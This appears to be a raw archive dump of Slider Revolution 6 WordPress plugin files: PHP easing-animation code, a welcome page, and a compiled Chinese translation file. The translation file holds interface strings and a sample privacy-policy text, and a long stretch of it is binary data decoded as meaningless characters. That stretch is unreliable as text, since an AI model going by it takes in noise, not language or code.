$e*(($n=$n/$u-1)*$n*$n+1)+$t; break; case 'easeinout': return ($n/=$u/2)<1?$e/2*$n*$n*$n+$t:$e/2*(($n-=2)*$n*$n+2)+$t; break; } break; case 'circ': switch($easing[1]) { case 'easein': return -$e*(sqrt(1-($n/=$u)*$n)-1)+$t; break; case 'easeout': return $e*sqrt(1-($n=$n/$u-1)*$n)+$t; break; case 'easeinout': return ($n/=$u/2)<1?-$e/2*(sqrt(1-$n*$n)-1)+$t:$e/2*(sqrt(1-($n-=2)*$n)+1)+$t; break; } break; case 'expo': switch($easing[1]) { case 'easein': return 0===$n?$t:$e*pow(2,10*($n/$u-1))+$t; break; case 'easeout': return $n===$u?$t+$e:$e*(1-pow(2,-10*$n/$u))+$t; break; case 'easeinout': if(0===$n){ return $t; }elseif($n===$u){ return $t+$e; }elseif(($n/=$u/2)<1){ return $e/2*pow(2,10*($n-1))+$t; }else{ return $e/2*(2-pow(2,-10*--$n))+$t; } //return 0===$n?$t:$n===$u?$t+$e:($n/=$u/2)<1?$e/2*pow(2,10*($n-1))+$t:$e/2*(2-pow(2,-10*--$n))+$t; break; } break; case 'bounce': switch($easing[1]) { case 'easein': return $e-RSColorEasing::easing($u-$n,0,$e,$u,'bounce.easeout')+$t; break; case 'easeout': if(($n/=$u)<(1/2.75)){return $e*(7.5625*$n*$n)+$t;} else if($n<(2/2.75)){return $e*(7.5625*($n-=(1.5/2.75))*$n+0.75)+$t;} else if ($n<(2.5/2.75)){return $e*(7.5625*($n-=(2.25/2.75))*$n+0.9375)+$t;} else{return $e*(7.5625*($n-=(2.625/2.75))*$n+0.984375)+$t;} break; case 'easeinout': if($n<$u/2){return RSColorEasing::easing($n*2,0,$e,$u,'bounce.easein')*0.5+$t;} else{return RSColorEasing::easing($n*2-$u,0,$e,$u,'bounce.easeout')*0.5+$e*0.5+$t;} break; } break; default: switch($easing[1]) { case 'easein': return -$e*cos($n/$u*(M_PI/2))+$e+$t; break; case 'easeout': return $e*sin($n/$u*(M_PI/2))+$t; break; default: return -$e/2*(cos(M_PI*$n/$u)-1)+$t; // end default } // end default } return 0; } } }welcome.html000060400000006426151724235750007104 0ustar00 Welcome to Slider Revolution 6
            Welcome to Slider Revolution 6
            What's new?
            Slider Revolution recieved a complete
            makeover with Version 6.0.
            More Info
            Docs & FAQs
            Checkout our all new Help Center
            with updated 6.0 Support Material.
            Help Center
            Lets get Started with Slider Revolution 6.0
            languages/revslider-zh_CN.mo000060400000301714151724235750012062 0ustar00\5jj jjj j'jkk./k ^klknktkk k k k k k k kk llll l l lll mm +m7m:mAmEmImMmQmTmXm\mamdmhm lmwm}mm mm mmm m m m mmmmmmm m m nnnn%n 8nDnGnNnQnUnWnZn]n`ncnenhnmn,N0{       7H  !9 H S]q   ȁԁ&Cbt{ ˂ւ  7I antz   ̓؃  ) DNazȄڄ" !3B v  ȅ ҅ ߅  %CU dp  Ɇ Ԇ   .9J[l u &҇ۇ ,7 = IV ft   Έ  & <G O ]j} É Ή ؉ '6#'Z:]Ί,2D2w4Zߋc: ƌЌٌ  29Ma'q ƍٍ  ' 5BIO_gm|ÎҎڎ"0 S `m u1ȏ1!Q s ːӐ .5< CP _j ! ˑ Ց   '2G^fʒ/LUn+u Γޓw~ ɔ ߔ  #=Sbq•ӕە&+D/c(–ǖ ̖ז0+CR [ex . (/7@F Xf{ Әۘ $7 FTgzÙԙ "#4X lyɚ-@Qj ƛ՛2F^tœӜڜJ[k rȝڝ ! &!4Vl  Ϟݞ"-= kx % A MYm  ՠ   + <;Gơ ݡ   (10by ~  Yɢ# ) 5 @ K Wbu#~)̣ӣ ۣ Q%0w$ ͤ 0!@bBإ  . ?J Z h v   Ŧ ʦԦݦ  (/DW l v  ϧڧ  (.1 6AF^bY/5 ISn ת !;Rbj    ūϫ1%%:`rz Ϭ  (86 oz ŭӭ *3M_ h s } ˮ(֮= U c oz  ˯ &D[ ky ǰְ *? D O [ gr{= ڱ    )3 <J_-t %-Ka t ̳ !A Zd s`     ,: AMR d n y ̵ ڵ  - 2 > H S_gn }  ̶*;M_r  ѷݷ   0 <G[s  ø Ѹܸ #4*T-ǹ $7 \gl |  -Ϻ + :DSfv~ .˻ ݻ.3 D?R0üPټ'*R6W Ľҽ۽"2DVfyӾ  &0 BL8^ҿ  )>1p     )7KT\e}   #4C!R t    * 3> GJTK  *?T!c+%4+:Ng|   "  # 0=E T _ kx .-5<c'  -< \j  !$&@?   r  % 2< Ygv8 &#Ae'   $0i7   "9 P ^k    * 7 D PZ _jqz ~    (=-M{ . + ;H]q GN cp 0 + 2 ? KU[o ;  %: Q\m  $ BP U `m t  , 9 D R ^j: ,:I ^ lz-)0+.\#03H[kz " 1R Y f t  ='hDt."Q` o}   #2 8 DP Xf w     * 1 >L [fw   =$1&V%}  25HQX ] hr  #! & 1 < H T`Qz"} +"'8MQ Q\^n $ 3 R _ jt {  %6P?,, #:0k }    *6 E R_ gq d * 5 ? J W c p}  ! -6E\+o 9 MW v    =Xt   "+ : F R]et  % >/I y #3 EP c p~IX^x"   #19 >IQZaio#t "7%]q!v "8[ s } =..? S _kt y !   ' GUW]|  qt   "&)-169= ALRV [f kvy    !%'*-0358=$3(X           , AM ]j  !(EYx       - 4 A N [ h u   !$  % 2?R bo$   ' .8AHOn"u      % 0< E Q[dm|     **1G]s         $=A H Ubr     (2H _i5 3Xv'3'IR]   !"DK_s'    & 4AEK[c j w   !=P` gt,  3 S l  s           ! !! 1!, ,, , , ,,,,,,,, - - &-3-:-"M-p-- ---- - - --- ...'2. Z. g.q../1/ D/N/`/v// / /////// /0 0 0*0 =08J0(0000 001 1 1"1+1011b1u1 y11 11 1 1Y1#2*212 82E2 L2 Y2f2!m2222 2222 22X3*]3'3!333 33 4494V4Bi44 4 44 444 5 5 #5 -5 75D5 K5Y5]5 d5 q5|5 555 55555 5555 6!6 (626Q6d6 h6 u666 6 6666 6666 6646M%8Ns8888 8$8$9C9\9 c9 p9}9999 9 999 9 :: !:.:>:B:J: c:m:'}:$:$::; ; ;!;1;8; K; X; e; r; ;;7;;; ; ; << <,<?<R< e<r<<< < < < < <<< < < < = =0"=S=l=Ep= = = == = = > > >*>=> M> Z>g>(}>>> > >> >> ? ?*?@?Y? `?m? ?? ? ??? ????<? @&@*@1@ 8@ C@ P@ ]@ j@t@@@!@@@AA&A9A RA\A sAA AAA AAABB $B 1B ;B HBiB BB B`B C C+C2C9C >C KCXChC oCyCC C C CCCC C D D D'DcKc bcoc sc ccccc ccc c cd d"d>dQdcdsd |d d d d d dddde1eDeKe\e se ee e eeee-e-f&Ff&mf)ff#ff)g&:gag tg ggg gggg hh0hOhVhfhxhhh h h hhhhhIh&i-inLiki$'j LjYjijjjjjj j jj jk k k k+k 2k ?kLkSkck sk k kkkkkkk k k k k l l l (l 4l AlNlaltlll l ll ll3l m"(mKmgm nm {m!mm&m m m nn n $n1nAnTn [ngnwn ~nnnnn n n n n ooT.oo'pCp-Wp!ppppq ~rrGr r$rs'1s Ys fs ss }sss s ssssst tt%t )t6tLtOUt%t%ttttu 2u0>u ou |uuu uuuuuv v v v'v .v;vBvIv Qv[v jv xvvvvvvvWv ww w'w :w Dw Nw [wew{w ww w w w w wwwx x$x7x'Jx%rxxxx xxx0x /y~K~[~q~&,K`v        !(/6>D#I m{    ŀڀ6,@!Df ҁ") A K U2_/‚ۂ    )3 :D KU eoŃ not found! should be numeric should not be empty"Alt" Attr."Include RevSlider libraries globally" "M" wait's on Action"N" wait's on Action"Pages to include RevSlider libraries" option "Title" Attr.#$9.99© Copyright & License Info<a> Tag Link<h1><h2><h3><h4><h5><h6><p><rs-layer><span>(x%, y%)* All settings adjusted by the guide can be changed later.
            Click the Help Icon to find options & documentation--- Choose Slider ---04.03.201805.03.201808.03.20181 Purchase Code per Website1 Purchase Code per Website!1 Spike Bottom1 Spike Middle1 Spike Top1.1.85:11/21/410.11.1212.12412491313.14.14.09.201914:0015.16:917.09.2019178618.08.201819198241on1 Support1st Frame2 x 2 Black2 x 2 White2.2.39:12021221:00243 x 3 Black3 x 3 White3.321383D Crop Fix (z)3D Effects Enabled3D Settings4.457819474:355.6.7.8.99.9.99

            In case you’re using Google Web Fonts (default) or playing videos or sounds via YouTube or Vimeo in Slider Revolution we recommend to add the corresponding text phrase to your privacy police:

            YouTube

            Our website uses plugins from YouTube, which is operated by Google. The operator of the pages is YouTube LLC, 901 Cherry Ave., San Bruno, CA 94066, USA.

            If you visit one of our pages featuring a YouTube plugin, a connection to the YouTube servers is established. Here the YouTube server is informed about which of our pages you have visited.

            If you're logged in to your YouTube account, YouTube allows you to associate your browsing behavior directly with your personal profile. You can prevent this by logging out of your YouTube account.

            YouTube is used to help make our website appealing. This constitutes a justified interest pursuant to Art. 6 (1) (f) DSGVO.

            Further information about handling user data, can be found in the data protection declaration of YouTube under https://www.google.de/intl/de/policies/privacy.

            Vimeo

            Our website uses features provided by the Vimeo video portal. This service is provided by Vimeo Inc., 555 West 18th Street, New York, New York 10011, USA.

            If you visit one of our pages featuring a Vimeo plugin, a connection to the Vimeo servers is established. Here the Vimeo server is informed about which of our pages you have visited. In addition, Vimeo will receive your IP address. This also applies if you are not logged in to Vimeo when you visit our plugin or do not have a Vimeo account. The information is transmitted to a Vimeo server in the US, where it is stored.

            If you are logged in to your Vimeo account, Vimeo allows you to associate your browsing behavior directly with your personal profile. You can prevent this by logging out of your Vimeo account.

            For more information on how to handle user data, please refer to the Vimeo Privacy Policy at https://vimeo.com/privacy.

            Google Web Fonts

            For uniform representation of fonts, this page uses web fonts provided by Google. When you open a page, your browser loads the required web fonts into your browser cache to display texts and fonts correctly.

            For this purpose your browser has to establish a direct connection to Google servers. Google thus becomes aware that our web page was accessed via your IP address. The use of Google Web fonts is done in the interest of a uniform and attractive presentation of our plugin. This constitutes a justified interest pursuant to Art. 6 (1) (f) DSGVO.

            If your browser does not support web fonts, a standard font is used by your computer.

            Further information about handling user data, can be found at https://developers.google.com/fonts/faq and in Google's privacy policy at https://www.google.com/policies/privacy/.

            SoundCloud

            On our pages, plugins of the SoundCloud social network (SoundCloud Limited, Berners House, 47-48 Berners Street, London W1T 3NF, UK) may be integrated. The SoundCloud plugins can be recognized by the SoundCloud logo on our site.

            When you visit our site, a direct connection between your browser and the SoundCloud server is established via the plugin. This enables SoundCloud to receive information that you have visited our site from your IP address. If you click on the “Like” or “Share” buttons while you are logged into your SoundCloud account, you can link the content of our pages to your SoundCloud profile. This means that SoundCloud can associate visits to our pages with your user account. We would like to point out that, as the provider of these pages, we have no knowledge of the content of the data transmitted or how it will be used by SoundCloud. For more information on SoundCloud’s privacy policy, please go to https://soundcloud.com/pages/privacy.

            If you do not want SoundCloud to associate your visit to our site with your SoundCloud account, please log out of your SoundCloud account.

            A Slider with the given alias already existsA new version of Slider Revolution is available.API KeyAPP IDAPP SecretAccess SecretAccess TokenAction DelayAction NeededAction TypeActionsActivate Add-OnActivate Global Add-OnActivate LicenseActivate Slider Revolution for Premium Benefits (e.g. Live Updates).Activate To UpdateActivatedActivating Add-OnActivationActive Transition OrderAdd Action to Add FolderAdd LayerAdd LineBreak AfterAdd LineBreak BeforeAdd New MetaAdd New Navigation Add Slide(s)Add Slider as ModalAdd To CartAdd TransitionAdd to Cart ButtonAdd to Cart URLAdd to SelectionAdd-OnAdd-OnsAddOn could not be activatedAddOn could not be deactivatedAddOn deactivatedAddOnsAddOns Outdated. Please UpdateAddOns need attentionAdding new Blank Module...AdditionalAddon RequiredAddonsAdmin ThumbAdv. StyleAdvancedAdvanced ActionsAdvanced Module EmbeddingAdvanced SettingsAdvenced Media SettingsAfter ActionAlbumAliasAligmentAlignAligned byAllAll EventsAll LanguagesAll LayersAllow FullscreenAlt. ImageAmount of SlidesAn Error Occured while importingAnim FromAnim ToAnimate FromAnimate to "Start" in LoopAnimationAnimation DurationAnimation Duration in msAnimation EaseAnimation TemplateAnimation ViewAnimation could not be savedAnimation deletedAnimation savedAny custom meta tagAre you sure you want to continue?Are you sure you want to delete Are you sure you want to delete the selected Slide:Are you sure you want to export ArgumentsArrow StyleArrow TypeArrowsAs ModalAscendingAspect RatioAttach to BGAttributesAudioAudio Wave Library is Loading...AuthorAuthor Avatar URL(size in px)Author Posts PageAuthor WebsiteAuthor nameAuthor, Editor, AdminAutoAuto PlayAuto RotateAuto Rotate SlideshowAvailable VersionBG & SpaceBG 3D DepthBG ColorBG FilterBG FitBG ImageBG SpeedBG in FrameBackBack to OverviewBackgroundBackground ColorBackground HoverBackground VideoBackwardBad RequestBasicBasic MetasBasic TransformsBasicsBearer Token is good, check your queryBehaviorBehind Layers (Back)Blank Page CreatedBlank page has been created:Blank slideBlend ModeBlockBlock ColorBlock ScrollBlock to BottomBlock to LeftBlock to RightBlock to TopBlurBody ClassBorderBorder ColorBorder HoverBorder StyleBorder, Overlay & ShadowBothBottomBox ShadowBreak AtBrowser WidthBrowser behaviorBuilding Select BoxesBulk SlideBulletsBullets StyleBullets TypeBullets VisibilityButtonButtonsBy Compressing OutputBy Echo OutputCSSCSS/JS EditorCUSTOM CSSCUSTOM JSCache (sec)Cache (sec):Call BackCall this function to pause the slider.Call this function to play the slider if it is paused.Call this function to start the slider.Can not be EmptyCan not be rendered in Editor. Please preview in Frontend.Can't connect programatically to the ThemePunch servers, please check your webserver settingsCan't create zip file: Can't delete default preset of default navigationsCan't get the bearer token, check your credentialsCan't modify a default preset of default navigationsCan't write into the uploads folder of WordPress, please change permissions and try again!Can't write the file into the uploads folder of WordPress, please change permissions and try again!CancelCancel & Reload LaterCapitalizeCaraouselCarouselCarousel LayoutCategoriesCategories & TagsCategories:Category1, Category2, Category3CenterCenter - Left RightCenter - Right LeftCenter DiagonalChanges that you made may not be saved.Changing Screen SizeChannelChannel IDCharCheck RequirementsCheck for UpdatesChoose ImageChoose Revolution SliderChoose Slide TemplateChoose SliderChoose VideoCircleClassClass to ToggleClassesClearCleared AlbumsCleared PhotosetsClickClick to ChooseCloseClose Slider ModalColorColor in FrameColoredColumn SettingsColumnsComing Slide as jQuery ObjectConcertConnect with ThemePunchConnection to Update Server FailedCons. SecretConsumer KeyContentContent BasedContent and Width BasedControlsCopyCopy Embed CodeCopy ShortcodeCopyright & Licensing - Slider Revolution LibraryCornersCould not create SlideCould not create SliderCould not fetch Facebook albumsCould not fetch YouTube playlistsCould not fetch flickr photosetsCoverCover ColorCreate Blank PageCreation AscendingCreditsCurrent
          • IndexCurrent LevelCurrent PostCurrent SlideCurrent Slide as jQuery ObjectCursorCurvedCustomCustom "Alt"Custom "Title"Custom CSSCustom Inline & Hover CSSCustom MetaCustom OrderCustom SizeCustom Size is currently DisabledCustomCSSCustomizationDashedDateDate ModifiedDate PublishedDate createdDate modifiedDebug ModeDecision Modal TitleDecrease Module HeightDefaultDefault (Global Settings)Default BasicsDefault Desktop Content WidthDefault Mobile Content WidthDefault New Layer SettingsDefault Notebook Content WidthDefault SettingDefault Settings for LayerDefault Tablet Content WidthDefaultsDefer JavaScript LoadingDeleteDelete All Sliders and Folders included in Delete SlideDelete SliderDelete Template ?Deleting SliderDeletion failedDepricated Function !
            Only visible by Rendering. Limited influence on Styled Layers. Custom CSS Inline will be removed in Version 6.2DepthsDeregister this CodeDeregistration failed!DescendingDescriptionDesktopDesktop Swipe EnabledDiagonal FromDiff. AnimDimensionDirectionDisableDisable Add-OnDisable Blur/Focus behav.Disable Global Add-OnDisable Ken B.Disable MobileDisable SliderDisable on MobileDisabledDisabled - Time BasedDisabling Add-OnDismiss MessagesDisplayDisplay Mode in ColumnDisplay a certain photoset from a userDisplay a galleryDisplay a group's photosDisplay a user's public photosDisplays a Slider Revolution Module on the pageDo ItDo you want to start the Update process?DocsDoneDont Do ItDont Force FullwidthDottedDoubleDownloading the Zip File may take a few moments.Drag & Drop Import FileDrag to SelectDribbbleDuplicateDuplication FailedDurationDynamic Viewport LoadingEQH-1879EX 87 TNTEase SpeedEasingEast 32th Street between Park & Lexington Avn Edge to MiddleEdit PageEditor ViewEditor is Loading...EffectEffectsElementsEmbedEmpty PlaceholderEnable Add-OnEnable Global Add-OnEnable Loop EffectsEnable SpikesEnable Timeline LoopsEnable/Disable Add-On on ModuleEnabledEnabled - Scroll BasedEnabling Add-OnEndEnd FrameEnter Access SecretEnter Access TokenEnter Album IdEnter Api KeyEnter Channel NameEnter Consumer KeyEnter Container .class or #idEnter External URLEnter FaceBook Page URLEnter FullscreenEnter Gallery URLEnter Group NameEnter Group URLEnter Image URLEnter LinkEnter MPEG SourceEnter Preset Name to Save or DeleteEnter Purchase CodeEnter SecretEnter Twitter NameEnter User NameEnter User URLEnter Video IDEnter Vimeo IDEnter YouTube Channel IDEnter YouTube IDEnter a Module nameEnter the App IDEnter the App SecretEnter your Api KeyEnter your EmailError downloading layersError downloading layers dataError downloading objectEvent BasicsEvent End DateEvent IDEvent LocationEvent Start DateEvent end dateEvent end timeEvent location addressEvent location countryEvent location nameEvent location postcodeEvent location regionEvent location slugEvent location stateEvent location townEvent start dateEvent start timeEventsExample 2,homepage,5Exceeded filesize limit.ExcerptExcerpt ipsum dolor sit amet, consetetur sadipscing elitr sed diam nonumy.Exit FullscreenExportExport SliderExternal ImageExternal ScrollFAQ'sFOLDERFONTFREE POSITIONED LAYERSFaceBook SettingsFacebookFacebook ExtrasFactor on BG'sFactor on LayersFactory SkinsFadeFade SettingsFailed to Move Slider Into FolderFailed to Update TagsFailed to update TitleFallback SettingsFavorite ChangedFavorite CountFavoritesFeatured ImagesFeatured OnlyFeatured ProductsFetch ByFile Succesfully ImportedFilenameFilterFilter Effect Scroll BasedFilter Effect Scroll is now generally EnabledFilter HoverFiltersFind My CodeFind information about the YouTube API key hereFinnished with slide changeFirst SlideFive SpikesFix RS Table IssuesFix during ScrollFixed on TopFlickrFlickr ExtrasFlickr SettingsFloatFolderFolder Creation FailedFolder DeletedFolder Deletion FailedFollowFollow LinkFontFont & IconFont FamilyFont Hover StyleFont IconsFor the pages and posts editor insert the Shortcode:For the theme html use:Force Cover ModeForce Lazy LoadingForce Overflow VisibleForce PrepareForce RS DB CreationForwardFour SpikesFrame AliasFrame MFrame NFrame Size can not be Extended. Not enough Space.Frame wait's on ActionFromFrom BottomFrom LeftFrom RightFrom Slider SettingsFrom StreamFrom TopFrom the widgets panel drag the "Revolution Module" widget to the desired sidebar.FrontFull HeightFull PriceFull WidthFull-ScreenFull-WidthFullscreen ActionsFunctionFunction Not Available in Demo ModeFunction Only Available for AdminstratorsFutureGalleryGallery URLGapGap (Border)GeneralGeneral SettingsGet a Purchase CodeGet access to the latest News from ThemePunch. We promise to never send you Spam!Get the amount of existing slides in the slider.Get the current focused slide index.Get the previously played slide.GlobalGlobal Layer SettingsGlobal LayersGlobal Layers TimelineGlobal SettingsGlobal Settings not saved/updatedGlobal Settings saved/updatedGlobal Style PresetsGlobal Value ! Option to find under Slider Settings - Parallax TabGlobalsGo To SlideGo To Slide with IDGo to 1st Frame Go to EditorGo to Frame "N"Go to Last FrameGoTo FrameGood Afternoon Good Evening Good Morning Google FontsGrayscaleGrid = ModuleGroupGroup URLGroups' PhotosHML5 VideoHTMLHTML DataHTML TagHTML5 AutoplayHTML5 VideoHandleHandlingHeadlinesHeightHeight Attrib.HiddenHidden in NavigationHide "Under" WidthHide Highlight BoxesHide OverHide UnderHide Under Browser width...Hierarchy StickyHighHigher LevelHome Page OnlyHorizontalHoverHover TransformHover ViewI have a Purchase CodeICONIDID of ElementIMAGEINIconIcon / SVGIdleIf you want to use Slider Revolution on another domain, please purchase another licenseIf you want to use the PHP function "add_revslider" in your code please make sure to activate If you want to use your purchase code on
            another domain, please deregister it first orIgnore Lazy LoadingImageImage Layer ContentImage URLImage from Stream if existImage from Stream if existsImage is Loading...ImagesImport LayerImport ReportImport Selected LayersImport file not foundImportedImporting Layers...In StockIn Stock OnlyInclude Libraries GlobalyIndex of Current SlideInfinity ScrollInheritInitialization DelayInline ModeInline-BlockInnerInner / OuterInsert scripts in FooterInstagramInstagram SettingsInstagram reports: Content did not match expectedInstagram reports: Content is privateInstagram reports: Parse script errorInstagramm ExtrasInstallInstall Add-OnInstall TemplateInstall Template PackageInstalledInstalled VersionInstalling Add-OnInstalling TemplateInstant UpdatesIntelligent InheritingInteractionInvalid EmailInvalid Email/Could not connect to the Newsletter serverInvalid IDInverse Toggled ContentInvert HorizontalInvert VerticalInvertsJohn DoeJump to SlideKeep Auto SizesKeep Breakpoint HeightsKeep Last StateKen BurnsKen Burns / Pan ZoomKeyboardKeyboard Arrow NavigationKeyboard SettingsKeyframeKeyframe #KeyframesKill SliderLAYERSLargeLarge ControlsLarge SquareLast FrameLast ModifiedLast SlideLast Slide Started, Slider is at the endLast slide startsLayerLayer Action (enterstage, enteredstage, leavestage,leftstage)Layer ActionsLayer AlignLayer AreaLayer Area SizeLayer ContainerLayer EventsLayer IDLayer ImportLayer LibraryLayer Loop AnimationsLayer Looping EffectsLayer ObjectsLayer OptionsLayer Timline LoopLayer Type (image,video,html)Layer as jQuery ObjectLayer is GlobalLayer optionsLayer with ActionLayersLayers ImportingLayers Overflow HiddenLayers SpeedLayers VisibleLayers are SelectableLayers default EnabledLayoutLazy LoadingLeave without SaveLeaving current PageLeftLeft ArrowLeft BottomLeft CornerLeft SpikeLeft TopLeft/Right Arrow KeysLessLevelLicense validation issue Occured. Please contact our Support.Limit ExcerptLineLine BreakLine-throughLink & SeoLink ActionsLink TargetLink TypeLink URLLink to SlideLink to WP Home PageLink to current pageList of Pages to include Revslider Libraries List of categories with linksList of categories without linksList of tags with linksLoadLoad Loop TemplateLoaded Google FontsLoadingLoading CodeMirror Library...Loading ConfigurationLoading Content...Loading ErrorLoading Error: Loading Thumbnails...Loading TypeLock / Unlock SelectedLock/Unlock SelectedLoopLoop All Layer TimelineLoop AmountLoop LayerLoop LayersLoop Media - Do Not Pause SlideLoop Media - Pause SlideLoop ModeLoop One SlideLoop TemplateLorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt.Los AngelesLow ResolutionLowercaseMODULEMPEGMain StyleManual ImportMarked LayersMarkupMarkup MetaMaskMax Blur StrengthMax PostsMax SlidesMax WidthMax. Post Size (256M)Max. Res.Max. VisibleMedia ActionsMedia ContentMedia LibraryMedia PosterMedia Volume (0-100)MediumMedium 640Medium 800Memory Limit (256M)MetaMeta ConfigMeta DataMeta DatasMeta ValuesMethodsMiddleMiddle To EdgeMin HeightMin. FingerMobileMobile SettingsMobile Swipe EnabledModule .zipModule Admin ThumbnailModule BackgroundModule ClassesModule Creation GuideModule DefaultsModule DimensionModule DimensionsModule Fixed FromModule Fixed UntilModule General OptionsModule IDModule NamingModule Position within WrapperModule TemplatesModule TypeModulesMonospace FontsMoreMouseMouse EnterMouse Enter PointMouse InteractionMouse LeaveMouse MoveMouse Move & ScrollMouse Scroll NavigationMouse Scroll SettingsMouse SpeedMoveMultiple SelectionMusic HallMute MediaMute at StartNav EditorNav Image DimensionsNavig. ThumbNavigation EditorNavigation OptionsNavigation StyleNavigation could not be deletedNavigation not found, could not add presetNavigation not found, could not delete presetNavigation preset deletedNavigation preset saved/updatedNeed Attention by removingNew Blank ModuleNew FolderNew Module from TemplateNew Version Available. Please UpdateNew WindowNewsNext / PreviousNext FrameNext MonthNext SlideNext Slide at EndNext StepNext on Browser FocusNo API KEY - Could not fetch flickr photosetsNo Action SelectedNo CornerNo Data ReceivedNo Email givenNo FollowNo InteractionNo Layers SelectedNo Lazy LoadingNo LoopNo Poster on MobileNo ShadowNo Sliders found, Please create a Slider firstNo Special EffectNo SpikesNo Sticky KeyframesNo StyleNo User URL - Could not fetch flickr photosetsNo data receivedNo file sent.No further source settings needed. Content is created manually.No options available for your current selection.No response on actionNo slides found, please add at least one Slide Template to the choosen language.No slides found, please add some slidesNoneNone of the Settings changed. There is Nothing to SaveNormalNot ActivatedNot Enough space between Frames.Not InstalledNotebookNothing SelectedNumber Of CommentsNumber Of SalesNumber of CommentsNumber of LikesNumber of RatingsNumber of ReviewsNumber of ViewsNumber of commentsOBJECTOGVOUTObject LibraryObject could not be loadedObjectsOffOffset (Tilt) EffectOffset to Scroll PositionOnOn - Skip 1st Time SlideOn Background EnabledOn IE8On MobileOn Mobile and IE8On ScrollOn Scroll DetailsOn Scroll can be Added per Slider in the General OptionsOn StageOnly 1st Time Slide shownOnly Manual <br/>Only Poster on MobileOoppps....Open DocumentOpen ModalOpen SlideOpen Slider ModalOpeningOption is depricated and will be removed in upcoming updates !Optional Font Loading URLOptional OGV SourceOptional WEBM SourceOrange CountryOrientationOriginOriginalOriginal SizeOther 1. SlideOther FoldersOuter HorizontalOuter VerticalOutput FilterOver Layers (Front)OverflowOverlayOverlineOverride Style on SlideOverwrite Template ?Own ModulesPACKAGEPackagePage URLPage is reloading...Pages (example: 2,10):Pan Zoom SettingsParallaxParallax & 3DParallax & 3D SettingsParallax EnabledParallax LevelParallax Orig.Parallax is now generally EnabledParameter 1Parameter 10Parameter 2Parameter 3Parameter 4Parameter 5Parameter 6Parameter 7Parameter 8Parameter 9ParametersParamsParent LevelPastPastePausePause SliderPer PagePermissionPhotosetPick an ItemPlace the shortcode on the page or post where you want to show this modal.Place the shortcode on the page or post where you want to show this module.PlaceholderPlay SlidePlaylistPlease register your application with Twitter
            to get the right valuesPlease register your Website app with Facebook
            to get the right valuesPlease Wait a MomentPlease Wait a momentPlease Wait...Please activate Slider RevolutionPlease add at least one Layer.Please follow this link to edit the Slider:Please select an Addon to start with.Please select the correct zip file, checksum failed!Plugin UpdatesPlugin deregisteredPlugin is not RegisteredPlugin not activatedPlugin successfully activatedPointer EventPopularPopular PostsPositionPosition & SizePostPost AliasPost BasicsPost Categories, Tags and CommentsPost ContentPost DetailsPost ExcerptPost IDPost SelectionPost TitlePost Types:Post contentPost content limit by charsPost content limit by wordsPost-BasedPoster ImagePoster from Stream if existPoster in PausePostsPreloadPrepared for slide changePreparing Data...PresetPreset could not be saved/values are the samePreset handle already exists, please choose a different namePreset not foundPreset not found in default navigationsPresetsPrev SizePrev. Slide as jQuery ObjectPreviewPreview ImagePrevious FramePrevious SlidePrevious Slide as jQuery ObjectPrevious StepProcessing Import ofProductProduct CategoriesProduct VariationProgressProgress BarPub. RulesPublishPublishedPurchase Code already registered!Purchase Code could not be validatedPurchase Code is invalidPurchase Code was locked, please contact the ThemePunch support!Put JS to BodyQuick StyleQuick Style ContentQuick Style HeadlineQuit GuideRTL DirectionRandomRandom OrderRe-Download OnlineReTweetsRead here how to receive your Flickr API keyRecalculate all positions, sizing etc in the slider. This should be called i.e. if Slider was invisible and becomes visible without any window resize event.RecentRecent PostsRectangleRedirecting to Overview PageRedraw SliderRefresh SourceRegister Purchase CodeRegister Slider Revolution
            to Unlock Premium FeaturesRegister this CodeRegister to UnlockRegister to Unlock all FeaturesRegister to unlock AddOnsRegister to unlock LibraryRegister to unlock Premium FeaturesRegister to unlock SupportRegister to unlock TemplatesRegister to unlock UpdatesRegister to unlock all Premium FeaturesRegisteredRegularRegular PriceRelRelatedRelease to Upload fileReload PageRemoveRemove One Slide with Slide Index from the Slider. Index starts with 0 which will remove the first slide.Remove PosterRemove SlideRenameRepeatRepliesRequirementsResetReset Children TimelineReset Children TimelinesReset StyleReset before each LoopResize Between DevicesRespect RatioResponisvityResponsive BehaviorResponsive Between DevicesResponsive ChildrenResponsive OffsetsResponsivityRestriction !
            Children Layers of Group, Column and Row will simply restart, without animation from the last loop Frame to first loop frame, independent of the Animate to "start" in Loop enabled option.Resume SliderRetweet CountReverseReverse "IN"Reverse ScrollRevolution Slider 6Revolution Slider Error:Rewind at StartRightRight ArrowRight BottomRight CornerRight SpikeRight TopRootRoot LevelRotateRotationRowRow PositionRow SettingsSFXSKUSVGSVG ColorSVG Hover StyleSVG'sSale PriceSame WindowSans-Serif FontsSaveSave & ReloadSave ConfigurationSave Current TemplateSave Global SettingsSave NavigationSave your project & reload the page or cancelSavedSaving SlideScaleSceneScroll Based FeaturesScroll Based Timeline is now generally EnabledScroll EffectsScroll Effects DefaultScroll Effects SettingsScroll OffsetScroll PositionScroll To IDScroll based EffectsScroll below SliderScroll page under the slider.Scroll to IDSearchSearch Icons...Search Modules...See how to find the Youtube channel ID hereSelectSelect / Edit SliderSelect AlbumSelect PlaylistSelect a LayerSelectableSensibilitySerif FontsSet All VisibleSet a Slide Background Image to use this featureSet all TimingsSet as Editor ViewSettingsSetup NotesShadowShadow ColorShadow TypeShadow onShapeShape Layer ContentSharp Corner ExtensionsShortcodeShortcode GeneratorShortcode could not be parsed.Shortcode parsing successfull. Items can be found in step 3ShowShow AllShow AlwaysShow DelayShow Highlight BoxesShow Last Edited SlideShow SpeedShow all ModulesShow if mouse over SliderShow in EditorShow/Hide SelectedSign UpSignup to our NewsletterSimple LinkSimplify on IOS4 / IE8Simulate ClickSingleSingle Layer StickySingle PriceSingle Price without currencySingle SelectSizeSize & PosSize PresetsSizingSkip PreloadSlide ActionsSlide AnimationSlide BG AnimationSlide DescriptionSlide Direction based MirroringSlide DurationSlide From TemplateSlide HTML TagsSlide IDSlide Lang.Slide LengthSlide LinkSlide OptionsSlide SavedSlide TitleSlide could not be duplicatedSlide duplication failedSlide has no LayersSlide not foundSlide not found in the main slides of the slider. Maybe itSliderSlider After SwapSlider Before SwapSlider CenterSlider DeletedSlider Import FailedSlider LayoutSlider LoadedSlider Moved to FolderSlider Overflow HiddenSlider RevolutionSlider Revolution - Premium responsive sliderSlider Revolution AddonsSlider Revolution Plugin updated Failure:Slider Revolution Plugin updated Successfully toSlider Revolution Plugin updated Successfully.Slider Revolution PreviewSlider Revolution Shortcode CreatorSlider Revolution VersionSlider Revolution database structure was updatedSlider Revolution encountered the following error: Slider Revolution:Slider 